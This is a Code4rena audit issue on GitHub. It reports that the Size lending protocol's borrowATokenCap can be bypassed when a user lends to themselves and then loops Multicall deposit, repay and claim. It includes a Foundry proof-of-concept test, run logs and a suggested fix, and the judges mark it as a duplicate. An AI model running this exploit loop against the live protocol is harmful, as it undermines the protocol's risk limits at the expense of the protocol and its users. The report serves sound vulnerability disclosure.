Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Since the lender and borrower can be the same, BorrowATokenCap can be bypassed. #49

Closed
c4-bot-3 opened this issue Jul 1, 2024 · 3 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-238 🤖_48_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality

Comments

@c4-bot-3
Copy link
Contributor

c4-bot-3 commented Jul 1, 2024

Lines of code

https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/actions/Deposit.sol#L80

Vulnerability details

Impact

Since the lender and borrower can be the same, BorrowATokenCap can be bypassed.
Users can bypass BorrowATokenCap to increase their BorrowAToken balance infinitely, at the cost of losing a portion of the protocol fee.

Proof of Concept

When the user deposits, the protocol will check whether the total supply of BorowAtoken exceeds BorowATokenCap
gothub:https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/actions/Deposit.sol#L81

      state.validateBorrowATokenCap();

If using Multicall calls, this check will be ignored, as Multicall will ultimately check for changes in debit/borrowAtoken
github:https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/Multicall.sol#L40

        state.validateBorrowATokenIncreaseLteDebtTokenDecrease(
            borrowATokenSupplyBefore, debtTokenSupplyBefore, borrowATokenSupplyAfter, debtTokenSupplyAfter
        );

Now let's take a closer look at the implementation of validateBorrowATokenIncreaseLteDebtTokenDecrease
github:https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/CapsLibrary.sol#L19

    function validateBorrowATokenIncreaseLteDebtTokenDecrease(
        State storage state,
        uint256 borrowATokenSupplyBefore,
        uint256 debtTokenSupplyBefore,
        uint256 borrowATokenSupplyAfter,
        uint256 debtTokenSupplyAfter
    ) external view {
        // If the supply is above the cap
        if (borrowATokenSupplyAfter > state.riskConfig.borrowATokenCap) {
            uint256 borrowATokenSupplyIncrease = borrowATokenSupplyAfter > borrowATokenSupplyBefore
                ? borrowATokenSupplyAfter - borrowATokenSupplyBefore
                : 0;
            uint256 debtATokenSupplyDecrease =
                debtTokenSupplyBefore > debtTokenSupplyAfter ? debtTokenSupplyBefore - debtTokenSupplyAfter : 0;

            // and the supply increase is greater than the debt reduction
            if (borrowATokenSupplyIncrease > debtATokenSupplyDecrease) {
                // revert
                revert Errors.BORROW_ATOKEN_INCREASE_EXCEEDS_DEBT_TOKEN_DECREASE(
                    borrowATokenSupplyIncrease, debtATokenSupplyDecrease
                );
            }
            // otherwise, it means the debt reduction was greater than the inflow of cash: do not revert
        }
        // otherwise, the supply is below the cap: do not revert
    }

When BorrowAToken > BorrowATokenCap, the newly cast BorrowAToken must be less than or equal to the decrease in debt.

Imagine a situation where when the total supply of borrowAtoken reaches the borrowATokenCap, the user wants to get more borrowAtoken balances.

It can create a credit position with both the lender and the borrower as its own, then call Multicall deposit and reply, and finally call claim to recover the original borrowAToken, and his balance will increase.

In the cycle of call, borrowATokenCap will lose its meaning completely.

POC:
The following is the test function, which can be run by placing it in the BuyCreditLimit.t.sol file and adding some import.
The test function demonstrates the following scenarios:

  1. borrowATokenCap is set to 20_000e6
  2. Alice and Bob each hold 10000e6 of borrowAToken, reaching the borrowATokenCap
  3. Alice wants to increase borrowAToken reserves to provide more loans
  4. To achieve this goal, Alice created both the lender and borrower as her own credit positions
  5. Call Multicall to deposit borrowAToken and replay
  6. Call claim to recover initial credit funds
  7. By repeating the above process, Alice's balance can bypass borrowATokenCap and grow infinitely
    function test_Invalid_BorrowATokenCap() public {
        // 1. borrowATokenCap is 20_000e6
        _updateConfig("borrowATokenCap", 20_000e6);
        _setPrice(1e18);
        _updateConfig("swapFeeAPR", 0);

        _deposit(alice, weth, 20_000e18);
        _deposit(bob, usdc, 10_000e6);
        _deposit(alice, usdc, 10_000e6);
        // 2. now up to borrowATokenCap
        for (uint i = 0; i < 5; i++) {
            //3. alice create LoanOffer
            _buyCreditLimit(
                alice,
                block.timestamp + 180 days,
                YieldCurveHelper.pointCurve(180 days, 0.06e18)
            );
            //3. alice borrow herself
            uint256 debtPositionId = _sellCreditMarket(
                alice,
                alice,
                RESERVED_ID,
                10_000e6,
                180 days,
                false
            );
            uint256 creditPositionId = size
                .getCreditPositionIdsByDebtPositionId(debtPositionId)[0];
            uint256 futureValue = size
                .getDebtPosition(debtPositionId)
                .futureValue;

            assertEqApprox(futureValue, 10_300e6, 100e6);
            deal(address(usdc), alice, 10_300e6);
            _approve(alice, address(usdc), address(size), 10_300e6);

            //3. deposit borrowAToken and repay
            uint amount = 10_300e6;
            bytes[] memory data = new bytes[](2);
            data[0] = abi.encodeCall(
                size.deposit,
                (
                    DepositParams({
                        token: address(usdc),
                        amount: amount,
                        to: alice
                    })
                )
            );
            data[1] = abi.encodeCall(
                size.repay,
                (RepayParams({debtPositionId: debtPositionId}))
            );
            vm.startPrank(alice);
            bytes[] memory results = size.multicall(data);
            vm.stopPrank();

            //4. claim her borrowAToken
            _claim(alice, creditPositionId);

            console2.log(
                "Alice BorrowAToken Balance: %s",
                _state().alice.borrowATokenBalance
            );
        }
    }

The following are the logs of the test run :

Running 1 test for test/local/actions/BuyCreditLimit.t.sol:BuyCreditLimitTest
[PASS] test_Invalid_BorrowATokenCap() (gas: 4216514)
Logs:
  Alice BorrowAToken Balance: 20300000000
  Alice BorrowAToken Balance: 30600000000
  Alice BorrowAToken Balance: 40900000000
  Alice BorrowAToken Balance: 51200000000
  Alice BorrowAToken Balance: 61500000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.86ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

It can be seen that after five attacks, Alice's balance has significantly increased beyond BorrowATokenCap, and there is no way to restrict her from continuing to grow.

Tools Used

Manual audit,foundry

Recommended Mitigation Steps

To solve this problem, we need to prohibit users from purchasing or selling their own creditLimit

Add in BuyCreditMarket.sol:
github:https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/actions/BuyCreditMarket.sol#L83

        BorrowOffer memory borrowOffer = state.data.users[borrower].borrowOffer;

+        if(borrower == msg.sender){
+             revert();
+        }
        // validate borrower
        if (borrowOffer.isNull()) {
            revert Errors.INVALID_BORROW_OFFER(borrower);
        }

Add in SellCreditMarket.sol
github:https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/actions/SellCreditMarket.sol#L51

LoanOffer memory loanOffer = state.data.users[params.lender].loanOffer;
        uint256 tenor;

        // validate msg.sender
-        // N/A
+        if(params.lender == msg.sender){
+             revert();
+        }     

Assessed type

Invalid Validation

@c4-bot-3 c4-bot-3 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Jul 1, 2024
c4-bot-10 added a commit that referenced this issue Jul 1, 2024
@c4-bot-12 c4-bot-12 added the 🤖_48_group AI based duplicate group recommendation label Jul 2, 2024
@howlbot-integration howlbot-integration bot added sufficient quality report This report is of sufficient quality duplicate-13 labels Jul 4, 2024
@c4-judge
Copy link
Contributor

hansfriese marked the issue as duplicate of #144

@c4-judge c4-judge added duplicate-144 satisfactory satisfies C4 submission criteria; eligible for awards and removed duplicate-13 labels Jul 10, 2024
@c4-judge
Copy link
Contributor

hansfriese marked the issue as satisfactory

@c4-judge
Copy link
Contributor

hansfriese marked the issue as duplicate of #238

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-238 🤖_48_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

3 participants